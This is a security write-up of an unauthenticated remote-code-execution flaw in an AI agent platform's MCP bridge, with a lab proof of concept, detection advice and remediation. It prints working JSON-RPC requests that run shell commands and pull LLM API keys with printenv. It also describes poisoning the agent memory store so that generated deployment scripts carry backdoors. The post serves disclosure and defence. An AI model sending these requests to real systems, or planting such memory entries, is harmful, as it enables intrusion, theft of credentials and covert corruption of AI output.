CVE-2026-59726 (RufRoot): Unauthenticated RCE in the Ruflo MCP Bridge
Summary
The Ruflo MCP Bridge, the component responsible for exposing AI agent tools over HTTP, accepted unauthenticated tools/list and tools/call requests in all versions prior to 3.16.3. Among the 239 tools it exposed was ruflo__terminal_execute, a primitive that runs arbitrary shell commands inside the container. The default docker-compose.yml bound the bridge to 0.0.0.0:3001, making it reachable from the network without any credentials. The result is a single unauthenticated HTTP request granting remote code execution.
From that foothold, the chain continues: environment variables hold every LLM provider API key in plaintext, the Docker socket is mounted into the container for legitimate operational reasons, and from the socket an attacker reaches root on the host. A less visible consequence is the ability to write malicious patterns into the platform's AI memory store — persistence that survives patching the bridge itself.
The vulnerability was discovered and responsibly disclosed by Noma Labs. This post is my independent analysis: I reproduced the full chain in an isolated lab environment and document the root cause, the MCP protocol mechanics involved, and what makes this attack class different from traditional web RCE.
An unauthenticated remote attacker with network access to port 3001 can execute arbitrary shell commands inside the bridge container, steal all LLM provider API keys, and escalate to root on the host via the Docker socket. Memory poisoning of the AI learning store persists after patching unless the store is explicitly audited and cleaned.
Vulnerability Metadata
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-59726 |
| CWE | CWE-306 — Missing Authentication for Critical Function; CWE-78 — OS Command Injection; CWE-942 — Permissive CORS Policy |
| CVSS v3.1 | 9.8 CRITICAL — AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H |
| Affected versions | Ruflo < 3.16.3 (all prior versions) |
| Fixed version | 3.16.3 (commit d00a0a40, PR #2521, July 2026) |
| Discovered by | Noma Labs |
| Advisory | GHSA-c4hm-4h84-2cf3 |
| MITRE ATT&CK | T1190 (Initial Access), T1059 (Execution), T1552.007 (Credentials from Container API) |
Background
What is MCP
The Model Context Protocol (MCP) is an open standard published by Anthropic in late 2024 for exposing tools to LLM runtimes via JSON-RPC 2.0. A server announces a catalog of callable functions; a client (the AI application) invokes them. Two methods cover the essentials: tools/list returns the catalog with each tool's input schema, and tools/call invokes a tool by name with its arguments.
MCP runs over two transports. stdio keeps the server as a local subprocess — never touches the network, safe by design. HTTP with SSE puts the server on a TCP port. That is where the attack surface begins.
The Ruflo MCP Bridge
Ruflo is an open-source AI agent orchestration platform. Its MCP Bridge is a Node.js/Express server that routes every agent action through HTTP: shell execution, memory reads and writes, agent lifecycle management, configuration changes. Tools are organized into named groups, each accessible at /mcp/<group>. The bridge also exposes two diagnostic endpoints — /health and /groups — that return the full tool inventory, enabled groups, backend status, and tool names without any authentication. These endpoints effectively hand an attacker a complete map of the attack surface before a single MCP request is made.
Root Cause Analysis
The bridge registers its MCP routes in src/ruvocal/mcp-bridge/index.js without an authentication middleware in the handler chain. A tool blocklist (AUTOPILOT_BLOCKED_PATTERNS) existed in the codebase but was only applied in the autopilot execution path — not on the /mcp/:group route.
The default docker-compose.yml bound the bridge to all network interfaces, completing the exposure:
The three weaknesses
CWE-306 (Missing Authentication) is the core flaw. Every /mcp/:group route, including tools/list and tools/call, was reachable without any credential. CWE-78 (OS Command Injection) follows because ruflo__terminal_execute runs arbitrary shell commands — the capability exists by design, but the missing auth makes it an unauthenticated primitive. CWE-942 (Permissive CORS) adds a browser-based vector via the wildcard Access-Control-Allow-Origin: *.
The blocklist that didn't apply
A command blocklist called AUTOPILOT_BLOCKED_PATTERNS existed in the codebase. It was only enforced inside the autopilot execution path. The /mcp/:group endpoint that an external attacker calls bypassed it entirely. The lesson: a protection that does not cover every code path that reaches a dangerous operation provides no protection at all.
Attack Scenario
The attack requires only network access to port 3001. No credentials, no prior account, no user interaction.
GET /health returns the service version, total tool count, and group status. GET /groups returns each group's description and the full list of tool names. Both respond without any authentication — a free map of the attack surface including ruflo__terminal_execute visible in the devtools group before sending a single MCP request.
tools/list.
A POST /mcp/devtools with a tools/list JSON-RPC body returns the input schema for all tools in the group. The schema for ruflo__terminal_execute shows one required argument: command. No authentication required.
tools/call request with ruflo__terminal_execute executes arbitrary shell commands as the node user (uid 1000) inside the container. There is no flaw in the shell execution logic itself — the capability works as designed. What is missing is any check on who is allowed to call it.
.env into environment variables at container startup. A single printenv command retrieves all of them. In production, these keys fund arbitrary API usage on the victim's account and enable the attacker to spawn AI agents at the victim's expense.
/mcp/memory group exposes full AgentDB read/write without authentication. An attacker can inject malicious patterns — for example, a false compliance policy that causes every deployment script the AI generates to contain a backdoor. This persists after patching the bridge because the fix does not clear the memory store.
Proof of Concept
Reproduced in an isolated lab environment on Ubuntu Server 22.04, with Ruflo pinned to the last pre-patch commit (4e18ad84c, the parent of fix commit d00a0a40). No production systems were accessed.
Ubuntu Server 22.04 VM, Docker Engine 29.x. Ruflo MCP Bridge built from the vulnerable commit with docker compose up -d. Bridge reachable at http://<target>:3001. Fake LLM API keys seeded into the container environment to verify the credential theft step.
Step 1 — Reconnaissance
The /groups endpoint reveals the full tool inventory before a single MCP request is sent:
Step 2 — Unauthenticated tools/list
POST /mcp/devtools HTTP/1.1
Host: <target>:3001
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}
The response includes ruflo__terminal_execute with its inputSchema confirming command as the only required argument. No Authorization header was sent.
Step 3 — Remote Code Execution
POST /mcp/devtools HTTP/1.1
Host: <target>:3001
Content-Type: application/json
{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{
"name":"ruflo__terminal_execute",
"arguments":{"command":"id && hostname"}
}}
Step 4 — LLM API key theft
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{
"name":"ruflo__terminal_execute",
"arguments":{"command":"printenv | grep -iE API_KEY"}
}}
Unauthenticated tools/call → shell as node inside container → LLM API keys via printenv. No credentials required at any step.
What Makes This Different from Traditional Web RCE
In a conventional web RCE, the attacker finds a flaw in the application's logic and exploits it. Here, there is no flaw in the shell execution logic — ruflo__terminal_execute works exactly as designed. The design assumption was that only the local AI orchestrator would ever call it. The transport layer (HTTP on all interfaces, no auth) made that assumption false.
The diagnostic endpoints amplify the problem in a way that has no parallel in traditional web applications. Leaving a /status endpoint public exposes version strings and feature flags. In an agentic platform, the same pattern exposes the complete capability map of the AI system: which agents are available, what tools they can call, and which backends are live. That is a qualitatively richer inventory for an attacker than a version number.
The memory poisoning step is the most significant departure from traditional web security. Patching the bridge stops future exploitation. But a pattern already written to AgentDB affects every future AI interaction that draws from that store — potentially for weeks or months, with no indication in logs that anything is wrong. The attack writes to the model's future behaviour, not to files or registry keys. Re-deploying the application with a clean image does not undo it.
Beyond the CVE itself, deployments that mount the host Docker socket into the bridge container — a common pattern in agent orchestration platforms that spawn containers dynamically — face additional escalation risk: a foothold inside the container can reach root on the host via the socket API. This is a deployment-level consideration, not part of CVE-2026-59726.
Detection
Is my deployment affected?
1. You run Ruflo in any version prior to 3.16.3.
2. Port 3001 is reachable from any network beyond localhost — including an internal network.
3. You have not set MCP_AUTH_TOKEN in your environment and verified that the bridge enforces it.
Checking for compromise
Rotate all LLM API keys immediately — they were accessible to any network-reachable caller. In HTTP logs, any successful POST /mcp/devtools without an Authorization header before the patch was deployed is evidence of exploitation. Check docker images on the host for images your team did not pull. Audit AgentDB for memory entries created by unknown sessions or containing unusual patterns such as external URLs embedded in agent instructions.
Remediation
Upgrade to Ruflo 3.16.3 or later. This is the only complete fix.
| Change | Detail |
|---|---|
| Loopback bind by default | Bridge now listens on 127.0.0.1:3001; fail-closed without explicit MCP_AUTH_TOKEN. |
| Bearer authentication | All /mcp routes require a valid token, compared with constant-time equality. |
terminal_execute disabled | Shell execution requires explicit opt-in flag; not available by default. |
| MongoDB authentication | Database requires authentication on startup. |
| CORS allowlist | Wildcard Access-Control-Allow-Origin: * replaced with explicit origin list. |
After patching
Patching is necessary but not sufficient if the instance was compromised before the update. Rotate all LLM API keys. Audit AgentDB for injected patterns — a redeploy does not clear the memory store. Verify that no unexpected containers are running on the host.
Timeline
| Date | Event |
|---|---|
| July 2026 | CVE-2026-59726 disclosed by Noma Labs; fix merged same day |
| July 2026 | Ruflo 3.16.3 released, commit d00a0a40 (PR #2521) |
| July 2026 | Advisory GHSA-c4hm-4h84-2cf3 published |
| September 2026 | Independent analysis and lab reproduction; this post published |